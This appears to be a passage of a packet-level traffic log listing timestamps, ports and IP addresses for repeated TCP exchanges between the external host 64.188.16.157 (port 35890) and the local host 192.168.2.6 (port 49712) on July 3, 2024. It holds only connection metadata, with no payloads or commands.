Jul 3, 2024 08:44:03.906160116 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.906224012 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:03.906239033 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.906269073 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.906308889 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:03.906387091 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.906404018 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.906445026 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:03.911072016 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.911084890 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.911113024 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.911134005 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:03.911149979 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.911194086 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:03.915950060 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.915965080 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.916002989 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.916023016 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:03.924289942 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.924319029 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.924333096 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.924351931 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:03.924375057 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:03.924434900 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.924451113 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.924495935 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:03.968002081 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.968020916 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:03.968206882 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:04.321603060 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:04.321619034 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:04.321631908 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:04.321657896 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:04.321675062 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:04.321717978 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:04.321762085 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:04.321909904 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:04.321942091 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:04.321949005 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:04.322031021 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:04.322041988 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:04.322052002 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:04.322066069 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:04.322091103 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:04.322470903 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:04.322527885 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:04.322539091 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:04.322561979 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:04.322638988 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:04.322649956 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:04.322673082 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:04.323324919 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:04.323365927 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:04.323386908 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:04.323399067 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:04.323431015 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:04.323474884 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:04.323486090 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:04.323518038 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:04.324176073 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:04.324242115 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:04.324253082 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:04.324296951 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:04.324336052 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:04.324347973 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:04.324372053 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:04.325042963 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:04.325109959 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:04.325191021 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:04.365469933 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:04.649699926 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:04.649732113 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:04.649744034 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:04.649766922 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:04.649841070 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:04.649852991 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:04.649863958 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:04.649874926 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:04.649874926 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:04.649897099 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:04.693620920 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:04.735939980 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:04.787293911 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.062285900 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.062361002 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.062371969 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.062391043 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.062402010 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.062422991 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.062467098 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.062621117 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.062659025 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.062690973 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.062701941 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.062727928 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.062736034 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.062939882 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.062974930 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.063003063 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.063014984 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.063041925 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.063150883 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.063163042 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.063175917 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.063188076 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.063213110 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.063246012 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.063704014 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.063762903 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.063774109 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.063838959 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.063910007 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.063921928 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.063932896 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.063944101 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.063961983 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.063999891 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.064035892 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.064080000 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.064625025 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.064645052 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.064655066 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.064681053 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.064785957 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.064796925 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.064809084 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.064820051 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.064825058 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.064848900 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.064924955 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.064963102 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.065479040 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.065538883 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.065550089 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.065570116 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.065669060 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.065680027 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.065691948 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.065702915 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.065706968 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.065737009 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.065814018 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.065850973 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.066379070 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.066438913 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.066452026 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.066478014 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.066564083 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.066575050 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.066586018 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.066597939 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.066601038 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.066625118 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.066698074 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.066734076 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.067264080 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.067305088 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.067317009 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.067339897 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.067430019 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.067440987 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.067451954 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.067464113 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.067464113 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.067481041 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.067536116 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.067569017 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.068165064 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.068217039 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.068228006 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.068250895 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.068320036 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.068331957 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.068342924 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.068353891 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.068357944 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.068376064 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.068981886 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.069019079 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.069032907 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.069044113 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.069080114 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.069106102 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.069392920 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.069428921 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.069437981 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.069448948 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.069482088 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.069519997 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.069560051 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.069571018 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.069595098 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.069627047 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.070063114 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.070099115 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.070166111 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.070178032 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.070213079 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.070245028 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.070256948 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.070267916 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.070278883 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.070352077 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.070352077 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.070416927 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.070429087 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.070440054 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.070451021 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.070461988 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.070488930 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.071145058 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.071188927 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.071201086 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.071222067 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.071288109 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.071300030 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.071326971 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.072113037 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.285811901 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.334182024 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.433783054 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.433799028 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.433818102 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.433830023 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.433841944 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.433855057 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.433864117 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.433897018 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.433939934 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.440252066 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.440262079 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.440274000 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.440320015 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.440334082 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.440356016 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.440367937 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.440380096 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.440409899 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.440493107 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.440505028 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.440534115 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.440548897 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.440561056 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.440587044 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.440655947 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.440668106 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.440695047 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.440773010 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.440783978 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.440795898 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.440807104 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.440818071 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.440829039 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.440841913 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.440860987 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.440970898 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.441030979 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.441041946 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.441070080 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.448570013 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.448595047 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.448606014 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.448632956 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.448662996 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.448689938 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.465991974 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.466027021 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.466038942 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.466085911 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.466118097 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.466212988 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.466224909 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.466249943 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.466262102 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.466270924 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.466305971 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.466308117 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.466317892 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.466330051 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.466342926 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.466360092 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.466392040 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.471585035 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.471597910 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.471609116 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.471668959 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.521697998 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.946254969 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.946285009 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.946295977 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.946386099 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.952231884 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.952258110 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.952267885 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.952299118 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.952354908 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.956085920 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.956105947 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.956116915 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.956146955 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.956218004 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.956231117 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.956240892 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.956264973 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.956278086 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.962610960 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.962624073 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.962635040 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.962676048 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:05.963053942 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:05.963095903 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:06.346576929 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.346591949 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.346610069 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.346621037 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.346632957 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.346673965 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.346684933 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.346718073 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:06.346744061 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.346765995 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:06.346796036 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:06.346796036 CEST	49712	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:06.348807096 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.348826885 CEST	35890	49712	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:06.348838091 CEST	35890	49712	64.188.16.157	192.168.2.6
